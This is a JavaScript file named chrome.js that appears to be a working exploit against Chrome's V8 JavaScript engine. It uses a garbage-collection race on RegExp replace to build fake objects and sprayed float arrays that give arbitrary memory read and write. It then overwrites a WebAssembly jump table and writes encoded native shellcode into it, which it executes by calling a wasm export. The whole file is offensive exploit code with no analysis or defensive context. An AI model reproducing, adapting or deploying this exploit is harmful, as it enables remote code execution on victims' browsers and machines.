/..

#CONTENT

#TOP

chrome.js
JS
class Helpers {
    constructor() {
        this.buf = new ArrayBuffer(8);
        this.dv  = new DataView(this.buf);
        this.u8  = new Uint8Array(this.buf);
        this.u32 = new Uint32Array(this.buf);
        this.u64 = new BigUint64Array(this.buf);
        this.f32 = new Float32Array(this.buf);
        this.f64 = new Float64Array(this.buf);

        this.roots = new Array(0x30000);
        this.index 	 = 0;

        //this.mark_sweep_gc();
    }

    pair_i32_to_f64(p1, p2) {
        this.u32[0] = p1;
        this.u32[1] = p2;
        return this.f64[0];
    }

    i64tof64(i) {
        this.u64[0] = i;
        return this.f64[0];
    }
    
    f64toi64(f) {
        this.f64[0] = f;
        return this.u64[0];
    }
    
    set_i64(i) {
        this.u64[0] = i;
    }

    set_l(i) {
        this.u32[0] = i;
    }

    set_h(i) {
        this.u32[1] = i;
    }

    get_i64() {
        return this.u64[0];
    }

    ftoil(f) {
        this.f64[0] = f;
        return this.u32[0]
    }

    ftoih(f) {
        this.f64[0] = f;
        return this.u32[1]
    }

	add_ref(object) {
		this.roots[this.index++] = object;
	}

	mark_sweep_gc() {
		new ArrayBuffer(0x7fe00000);
	}

    scavenge_gc() {
        for (var i = 0; i < 8; i++) {
            // fill up new space external backing store bytes
            this.add_ref(new ArrayBuffer(0x200000));
        }
        this.add_ref(new ArrayBuffer(8));
    }

    evacuation_gc() {}

    printhex(val) {
        //%DebugPrint(' 0x' + val.toString(16));
    }

    breakpoint() {
        this.buf.slice();
    }
}

function hang() {
    while(1) {}
}

function pwn() {
    var helper = new Helpers();

    var corrupted_array;
    var fake_object_array;

    function create_fakeobj() {
        var re = new RegExp('foo', 'g');

        var match_object = {};
        match_object[0] = {
            toString : function() {
                return "";
            }
        };

        re.exec = function() {
            helper.mark_sweep_gc();
            delete re.exec; // transition back to initial regexp map
            re.lastIndex = 1073741823; // maximum smi, adding one will result in a HeapNumber
            new Array(256); // add space before NewHeapNumber<newSpace>
            RegExp.prototype.exec = function() {
                throw ''; // break out of Regexp.replace
            }
            return match_object;
        };

        // %DebugPrint(re.lastIndex);

        try {
            var newstr = re[Symbol.replace]("fooooo", ".$");
        } catch(e) {}

        // %DebugPrint(re.lastIndex);

        helper.scavenge_gc(); 	// trigger write-barrier
        helper.mark_sweep_gc(); // more determinstic GC

        // // spray fakeobj addr in NewSpace. use literal arrays to avoid
        // // ElementsTransition which will make the heap less deterministic.

        fake_object_array = [0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0, 3.694398452529e-311, 2.05833592584e-312, 6.7903865311e-313, 6.7903865311e-313, 0.0, 4.2441223315e-314, 0.0, 0.0]

        return re;
    }

    function arbCageRead(where) {
        fake_object_array[134] = helper.i64tof64(where << 24n);
        return (new BigUint64Array(corrupted_array))[0];
    }

    function arbCageWrite(where, what) {
        fake_object_array[130 + 4] = helper.i64tof64(where << 24n);
        (new BigUint64Array(corrupted_array))[0] = what;
    }
    
    var re = create_fakeobj();

    corrupted_array = re.lastIndex;

    var buffers = [];
    for (let i = 0; i < 4096; i++) {
        buffers.push(new ArrayBuffer(8));
    }

    // base of fake array buffer is 130

    // 0x851 => DoubleArray
    // 0x605 => Integers

    var cage_base = arbCageRead(0x18n) >> 32n << 32n;

    var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 9, 2, 96, 2, 127, 126, 0, 96, 0, 0, 3, 3, 2, 0, 1, 5, 3, 1, 0, 1, 7, 15, 2, 5, 119, 114, 105, 116, 101, 0, 0, 3, 110, 111, 112, 0, 1, 10, 15, 2, 9, 0, 32, 0, 32, 1, 55, 3, 0, 11, 3, 0, 1, 11])
    var wasm_mod = new WebAssembly.Module(wasm_code);
    var wasm_instance = new WebAssembly.Instance(wasm_mod);    
    var f = wasm_instance.exports.write;
    var nop = wasm_instance.exports.nop;
    
    nop();
    f(0, 10n);

    // jump_table_start offset = 0x48
    // wasm instance = 0x7c2564n

    // var wasm_instance_offset = 0x70267dn - 1n;
    var wasm_instance_offset = 0x75f000n;
    while (true) {
        if (
            arbCageRead(wasm_instance_offset + 0n) == 0x000006cd000006cdn &&
            arbCageRead(wasm_instance_offset + 4n) == 0x000006cd000006cdn
        ) {
            break;
        }
        wasm_instance_offset += 4n
    }

    wasm_instance_offset -= 4n;
    var jump_table_start_offset = wasm_instance_offset + 0x48n;

    var jump_table_start = arbCageRead(jump_table_start_offset);
    var shr = jump_table_start + 0x89cn + 2n - 4n;
    var save = arbCageRead(wasm_instance_offset + 0x78n);

    arbCageWrite(wasm_instance_offset + 0x78n, shr);

    // print("cage base: 0x" + cage_base.toString(16));
    // print("jump table: 0x" + jump_table_start.toString(16));

    nop();

    arbCageWrite(wasm_instance_offset + 0x78n, save);

    function arbWrite(where, what) {
        var mask = 0xffffffffffffffffn;
        var orig = where - cage_base;
        orig &= mask;
        rcl = ((orig << 0x28n) & mask) | ((orig >> 0x18n) & mask);
        arbCageWrite(wasm_instance_offset + 0x28n, rcl);
        var off = (Number(orig & 0xffffffn)) >> 1;
        // print(orig.toString(16), rcl.toString(16), off.toString(16));
        f(off, what);
    }

    const shellcode = [7306861388965658673n,13278951906248255092n,3415545336749305647n,7507270983560480848n,65662808845679n,15146157716022052864n,4276815119n,]

    for (let i = 0; i < shellcode.length; i++) {
        arbWrite(jump_table_start + 0x800n + BigInt(i) * 8n, shellcode[i]);
    }

    nop();

    hang();
}

var TARGET = "chrome";
var addrOf_LO = new Array(0x30000);

var corrupted_array = [1.1, 2.2, 3.3, 4.4,];
var rw_array = [5.5, 6.6, 7.7, 8.8];
var addrof_array = (new Array(32));
addrof_array[0] = corrupted_array;
addrOf_LO[0] = corrupted_array;

new ArrayBuffer(0x7fe00000);

pwn();